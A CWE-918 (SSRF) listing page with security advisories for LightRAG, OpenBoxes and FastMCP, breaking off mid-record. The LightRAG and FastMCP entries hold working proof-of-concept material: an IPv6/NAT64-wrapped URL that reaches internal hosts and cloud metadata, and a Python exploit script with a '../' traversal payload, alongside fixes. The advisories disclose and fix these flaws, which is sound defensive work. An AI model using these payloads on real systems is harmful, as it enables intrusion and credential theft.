Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6243 vulnerabilities reference this CWE, most recent first.

GHSA-VV3M-F8X4-7377

Vulnerability from github – Published: 2026-09-22 20:40 – Updated: 2026-09-22 20:40
VLAI
Summary
lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard
Details

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

  • Package: lightrag-hku (LightRAG), the native markdown image-download path.
  • Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
  • Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
  • Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
  • Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

Form address is_global guard verdict
plain internal 127.0.0.1 127.0.0.1 False BLOCK (correct)
IPv4-mapped ::ffff:7f00:1 False BLOCK (correct)
NAT64 64:ff9b::/96 64:ff9b::7f00:1 True PASS (bypass)
NAT64 RFC8215 64:ff9b:1::/48 64:ff9b:1::7f00:1 True PASS (bypass)
IPv4-compatible ::a.b.c.d ::7f00:1 True PASS (bypass)
6to4 2002::/16 2002:7f00:1:: True PASS (bypass)

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Note — CPython version dependency of the table. The is_global verdicts above depend on the interpreter. CPython gh-113171 (backported to 3.10.14 / 3.11.9 / 3.12.3+, ~2024-04) added 64:ff9b:1::/48 and 2002::/16 to ipaddress._private_networks, so on any current patch release those two rows return is_global = False and are already blocked by the stdlib before the guard is reached. The 64:ff9b::/96 well-known NAT64 prefix and the IPv4-compatible ::/96 form bypass on every current CPython — and 64:ff9b::/96 is exactly the prefix real DNS64/NAT64 deployments use, so the vulnerability stands. The four-row table reflects a pre-gh-113171 interpreter. The fix classifies by the embedded IPv4 and therefore closes all forms regardless of interpreter version.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

  • Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
  • Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Severity
7.1 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "lightrag-hku"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-85740"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:40:25Z",
    "nvd_published_at": "2026-09-22T17:17:27Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nLightRAG\u0027s native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, `_validated_addresses()` in `lightrag/parser/markdown/parser.py`, resolves the image host and rejects it when the resolved IP is not `is_global`. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python\u0027s `ipaddress` classifies a NAT64 (`64:ff9b::/96` and the RFC 8215 `64:ff9b:1::/48` prefix), IPv4-compatible (`::a.b.c.d`), or 6to4 (`2002::/16`) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (`::ffff:`) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.\n\n## Affected component and versions\n\n- Package: `lightrag-hku` (LightRAG), the native markdown image-download path.\n- Component: `lightrag/parser/markdown/parser.py`, guard `_validated_addresses()` (the `if not (ip.is_global or ...)` check), reached from `_download()` -\u003e `_build_guarded_opener().open(req)`.\n- Enabled by default: `download_enabled = _env_bool(\"NATIVE_MD_IMAGE_DOWNLOAD_ENABLED\", True)`.\n- Affected: LightRAG `\u003c= 1.5.4` (latest release at time of report, commit `9a45b64`).\n- Precondition: the caller can upload a document (API key via `Depends(combined_auth)`); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.\n\n## Vulnerable code vs the guarded sibling\n\nEvaluated on the exact resolved addresses (CPython `ipaddress`):\n\n| Form | address | is_global | guard verdict |\n|---|---|---|---|\n| plain internal 127.0.0.1 | `127.0.0.1` | False | BLOCK (correct) |\n| IPv4-mapped | `::ffff:7f00:1` | False | BLOCK (correct) |\n| NAT64 64:ff9b::/96 | `64:ff9b::7f00:1` | True | PASS (bypass) |\n| NAT64 RFC8215 64:ff9b:1::/48 | `64:ff9b:1::7f00:1` | True | PASS (bypass) |\n| IPv4-compatible ::a.b.c.d | `::7f00:1` | True | PASS (bypass) |\n| 6to4 2002::/16 | `2002:7f00:1::` | True | PASS (bypass) |\n\nThe guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.\n\n\u003e **Note \u2014 CPython version dependency of the table.** The `is_global` verdicts above depend on the interpreter. CPython gh-113171 (backported to 3.10.14 / 3.11.9 / 3.12.3+, ~2024-04) added `64:ff9b:1::/48` and `2002::/16` to `ipaddress._private_networks`, so on any current patch release those two rows return `is_global = False` and are already blocked by the stdlib before the guard is reached. The **`64:ff9b::/96` well-known NAT64 prefix and the IPv4-compatible `::/96` form bypass on every current CPython** \u2014 and `64:ff9b::/96` is exactly the prefix real DNS64/NAT64 deployments use, so the vulnerability stands. The four-row table reflects a pre-gh-113171 interpreter. The fix classifies by the embedded IPv4 and therefore closes all forms regardless of interpreter version.\n\n## Severity\n\nHigh. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector `AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N`, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.\n\n## Proof of concept (deployed, both directions, verbatim)\n\nEnvironment: three Docker containers on an IPv6-enabled network - an internal victim (`10.66.0.2:80`, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning `64:ff9b::/96` that forwards `[64:ff9b::0a42:0002]:80` to `10.66.0.2:80`, and an attacker host with a client-side route `64:ff9b::/96 via \u003cgateway\u003e`. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (`_validated_addresses`, `_host_is_public`, `_build_guarded_opener`, the `_Guarded*Connection/Handler` classes, sliced verbatim from v1.5.4 `parser.py`, only the `logger` import shimmed) plus a verbatim reproduction of the released `_download()` scheme and host precheck. Trigger in production: an uploaded document containing `![x](http://[64:ff9b::\u003cinternal-hex\u003e]/a.png)`.\n\nRUN 1, released v1.5.4 guard (VULNERABLE):\n\n```\nattack URL = http://[64:ff9b::0a42:0002]:80/logo.png\n===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====\nguard verdict : PASSED (fetched)\nSECRET LEAKED : True\nbody          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c\n===== control: plain internal address (must be BLOCKED) =====\nverdict: BLOCKED at guard: non-public host blocked\n===== DIRECTION B: PUBLIC address (must still be FETCHED) =====\nguard verdict : PASSED (fetched)\npublic body   : PUBLIC-OK-BODY\n===== SUMMARY =====\nattack_leaked_internal_secret = True\nplain_internal_blocked        = True\npublic_still_fetched          = True\n```\n\nRUN 2, one-line-class decode fix applied (same inputs, same network):\n\n```\n===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====\nguard verdict : BLOCKED at guard: non-public host blocked\nSECRET LEAKED : False\n===== control: plain internal address (must be BLOCKED) =====\nverdict: BLOCKED at guard: non-public host blocked\n===== DIRECTION B: PUBLIC address (must still be FETCHED) =====\nguard verdict : PASSED (fetched)\npublic body   : PUBLIC-OK-BODY\n===== SUMMARY =====\nattack_leaked_internal_secret = False\nplain_internal_blocked        = True\npublic_still_fetched          = True\n```\n\nFix-correctness matrix (isolated): genuine global IPv6 `2606:4700:4700::1111` and `2001:4860:4860::8888` -\u003e ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -\u003e BLOCK; NAT64 of a public IPv4 (`64:ff9b::808:808` = 8.8.8.8) -\u003e ALLOW.\n\n## Impact\n\nA caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (`169.254.169.254`, `100.100.100.200`), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.\n\n## Suggested fix\n\nDecode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the `is_global` check:\n\n```python\ndef _unwrap_embedded_ipv4(ip):\n    \"\"\"Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,\n    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4\n    2002::/16) so it is classified by IPv4 rules; else return ip unchanged.\"\"\"\n    if ip.version != 6:\n        return ip\n    if ip.ipv4_mapped is not None:\n        return ip.ipv4_mapped\n    if getattr(ip, \"sixtofour\", None) is not None:\n        return ip.sixtofour\n    b = ip.packed\n    if b[:12] == b\"\\x00\" * 12 and b[12:] not in (b\"\\x00\\x00\\x00\\x00\", b\"\\x00\\x00\\x00\\x01\"):\n        return ip_address(b[12:])\n    if b[:12] == b\"\\x00\\x64\\xff\\x9b\" + b\"\\x00\" * 8:\n        return ip_address(b[12:])\n    if b[:6] == b\"\\x00\\x64\\xff\\x9b\\x00\\x01\":\n        return ip_address(b[12:])\n    return ip\n```\n\nThen in `_validated_addresses`:\n\n```python\njudged = _unwrap_embedded_ipv4(ip)\nif not (judged.is_global or any(ip in net for net in allow)):\n    return []\n```\n\nVerified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.\n\n## Resolution\n\nAddressed by [#3426](https://github.com/HKUDS/LightRAG/pull/3426) (pending merge), targeted for release in `lightrag-hku` 1.5.5. `_validated_addresses()` now decides global-routability by **starting from the stdlib\u0027s `is_global` on the literal and only ever tightening it** \u2014 the guard is never more permissive than `ipaddress` itself:\n\n- **Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global** (IPv4-mapped `::ffff:0:0/96`, IPv4-compatible `::/96`, and the NAT64 well-known prefix `64:ff9b::/96` \u2014 RFC 6052 \u00a72.2, contiguous low-32 embedding). So `64:ff9b::7f00:1` (\u2192 loopback) is blocked while `64:ff9b::808:808` (\u2192 public 8.8.8.8) still passes.\n- **Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks**, independent of the interpreter: the RFC 8215 local-use prefix `64:ff9b:1::/48` (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 \u00a75 \u2014 a fixed-offset decode is itself bypassable, e.g. `64:ff9b:1:7f00:0:100:808:808` encodes `127.0.0.1` but its low 32 bits read as public `8.8.8.8`) and 6to4 `2002::/16` (IANA global-reachability N/A; current CPython classifies the whole block non-global \u2014 RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted `2002::/16` addresses the stdlib already blocks, so it is denied outright instead.\n\nGenuine global IPv6 and a NAT64 wrapper of a *public* IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 `/48` suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a *custom*, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted \u2014 such operators should pin the download egress or set `NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS` deliberately.\n\n## Credit\n\ntonghuaroot (tonghuaroot@gmail.com).",
  "id": "GHSA-vv3m-f8x4-7377",
  "modified": "2026-09-22T20:40:25Z",
  "published": "2026-09-22T20:40:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-vv3m-f8x4-7377"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85740"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/pull/3426"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/commit/9207e7fd10cf6df3cf26e3dd1921490b34a2f132"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/commit/a25862177a9b00e0edb870778a42b4155924de09"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/commit/c598545aa0084a427bcb19a84ade5e0ec31fa673"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HKUDS/LightRAG"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard"
}

GHSA-VV7Q-2WGR-7W2P

Vulnerability from github – Published: 2026-08-16 03:31 – Updated: 2026-08-16 03:31
VLAI
Details

A vulnerability was found in OpenBoxes up to 0.9.7. The impacted element is the function Upload of the file grails-app/controllers/org/pih/warehouse/product/ProductController.groovy of the component Product Upload Endpoint. Performing a manipulation of the argument params.url results in server-side request forgery. The attack is possible to be carried out remotely. The exploit has been made public and could be used. Upgrading to version 0.9.8-hotfix1 and 0.9.8 is sufficient to resolve this issue. The patch is named a599007325efe780a21b3537ecce3ca25635c926. It is suggested to upgrade the affected component.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
2.1 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-19927"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-16T03:16:49Z",
    "severity": "LOW"
  },
  "details": "A vulnerability was found in OpenBoxes up to 0.9.7. The impacted element is the function Upload of the file grails-app/controllers/org/pih/warehouse/product/ProductController.groovy of the component Product Upload Endpoint. Performing a manipulation of the argument params.url results in server-side request forgery. The attack is possible to be carried out remotely. The exploit has been made public and could be used. Upgrading to version 0.9.8-hotfix1 and 0.9.8 is sufficient to resolve this issue. The patch is named a599007325efe780a21b3537ecce3ca25635c926. It is suggested to upgrade the affected component.",
  "id": "GHSA-vv7q-2wgr-7w2p",
  "modified": "2026-08-16T03:31:06Z",
  "published": "2026-08-16T03:31:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OpenBoxes/OpenBoxes/security/advisories/GHSA-828r-3vx8-65wx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19927"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenBoxes/OpenBoxes/pull/5944"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openboxes/openboxes/commit/a599007325efe780a21b3537ecce3ca25635c926"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/nedlir/4eefb532d29cbb9a7091266fc1cbd55c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OpenBoxes/OpenBoxes"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openboxes/openboxes/releases/tag/v0.9.8"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-19927"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/871980"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/390178"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/390178/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-VV7Q-7JX5-F767

Vulnerability from github – Published: 2026-03-31 22:53 – Updated: 2026-04-10 19:34
VLAI
Summary
FastMCP OpenAPI Provider has an SSRF & Path Traversal Vulnerability
Details

Technical Description

The OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service.

A critical vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL.

Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider.

Vulnerable Code

File: fastmcp/utilities/openapi/director.py

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    # Direct string substitution without encoding
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            url_path = url_path.replace(placeholder, str(param_value))

    # urljoin resolves ../ escape sequences
    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))

Root Cause

  1. Path parameters are substituted directly without URL encoding
  2. urllib.parse.urljoin() interprets ../ as directory traversal
  3. No validation prevents traversal sequences in parameter values
  4. Requests inherit the authentication context of the MCP provider

Proof of Concept

Step 1: Backend API Setup

Create internal_api.py to simulate a vulnerable backend server:

from fastapi import FastAPI, Header, HTTPException
import uvicorn

app = FastAPI()

@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
    return {"status": "success", "user": user_id}

@app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
    if authorization == "Bearer admin_secret":
        return {"status": "CRITICAL", "message": "Administrative access granted"}
    raise HTTPException(status_code=401)

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8080)

Step 2: Exploitation Script

Create exploit_poc.py:

import asyncio
import httpx
from fastmcp.utilities.openapi.director import RequestDirector

async def exploit_ssrf():
    # Initialize vulnerable component
    director = RequestDirector(spec={})
    base_url = "http://127.0.0.1:8080/"
    template = "/api/v1/users/{id}/profile"

    # Payload: Path traversal to reach /admin/delete-all
    # The '?' character neutralizes the rest of the original template
    payload = "../../../admin/delete-all?"

    # Construct malicious URL
    malicious_url = director._build_url(template, {"id": payload}, base_url)
    print(f"[*] Generated URL: {malicious_url}")

    async with httpx.AsyncClient() as client:
        # Request inherits MCP provider's authorization headers
        response = await client.get(
            malicious_url, 
            headers={"Authorization": "Bearer admin_secret"}
        )
        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response: {response.text}")

if __name__ == "__main__":
    asyncio.run(exploit_ssrf())

Expected Output

[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}

The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.

Impact Assessment

Severity Justification

  • Unauthorized Access: Attackers can interact with private endpoints not exposed in the OpenAPI specification
  • Privilege Escalation: The attacker operates within the MCP provider's security context and credentials
  • Authentication Bypass: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented
  • Data Exfiltration: Sensitive internal APIs can be accessed and exploited
  • Lateral Movement: Internal-only services may be compromised from the network boundary

Attack Scenarios

  1. Accessing Admin Panels: Bypass API restrictions to reach administrative endpoints
  2. Data Theft: Access internal databases or sensitive information endpoints
  3. Service Disruption: Trigger destructive operations on backend services
  4. Credential Extraction: Access endpoints returning API keys, tokens, or credentials

Remediation

Recommended Fix

URL-encode all path parameter values before substitution to ensure reserved characters (/, ., ?, #) are treated as literal data, not path delimiters.

Updated code for _build_url() method:

import urllib.parse

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            # Apply safe URL encoding to prevent traversal attacks
            # safe="" ensures ALL special characters are encoded
            safe_value = urllib.parse.quote(str(param_value), safe="")
            url_path = url_path.replace(placeholder, safe_value)

    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))
Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
10.0 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "fastmcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32871"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-31T22:53:21Z",
    "nvd_published_at": "2026-04-02T15:16:38Z",
    "severity": "CRITICAL"
  },
  "details": "## Technical Description\n\nThe `OpenAPIProvider` in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The `RequestDirector` class is responsible for constructing HTTP requests to the backend service.\n\nA critical vulnerability exists in the `_build_url()` method. When an OpenAPI operation defines path parameters (e.g., `/api/v1/users/{user_id}`), the system directly substitutes parameter values into the URL template string **without URL-encoding**. Subsequently, `urllib.parse.urljoin()` resolves the final URL.\n\nSince `urljoin()` interprets `../` sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in **authenticated SSRF**, as requests are sent with the authorization headers configured in the MCP provider.\n\n---\n\n## Vulnerable Code\n\n**File:** `fastmcp/utilities/openapi/director.py`\n\n```python\ndef _build_url(\n    self, path_template: str, path_params: dict[str, Any], base_url: str\n) -\u003e str:\n    # Direct string substitution without encoding\n    url_path = path_template\n    for param_name, param_value in path_params.items():\n        placeholder = f\"{{{param_name}}}\"\n        if placeholder in url_path:\n            url_path = url_path.replace(placeholder, str(param_value))\n\n    # urljoin resolves ../ escape sequences\n    return urljoin(base_url.rstrip(\"/\") + \"/\", 